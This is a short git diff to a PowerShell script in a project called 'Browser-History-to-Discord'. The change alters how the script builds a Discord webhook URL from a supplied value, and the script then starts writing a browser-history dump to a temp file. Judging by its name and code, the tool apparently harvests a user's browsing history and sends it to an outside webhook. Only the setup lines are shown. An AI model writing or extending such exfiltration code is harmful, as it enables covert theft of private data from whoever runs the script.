diff --git a/Browser-History-to-Discord/main.ps1 b/Browser-History-to-Discord/main.ps1 index 37a2815..a157376 100644 --- a/Browser-History-to-Discord/main.ps1 +++ b/Browser-History-to-Discord/main.ps1 @@ -1,5 +1,7 @@ - -$whuri = ("https://discord.com/api/webhooks/" + "$dc") +$whuri = "$dc" +if ($whuri.Length -lt 120){ + $whuri = ("https://discord.com/api/webhooks/" + "$dc") +} $outpath = "$env:temp\browser_history.txt" "Browser History `n -----------------------------------------------------------------------" | Out-File -FilePath $outpath -Encoding ASCII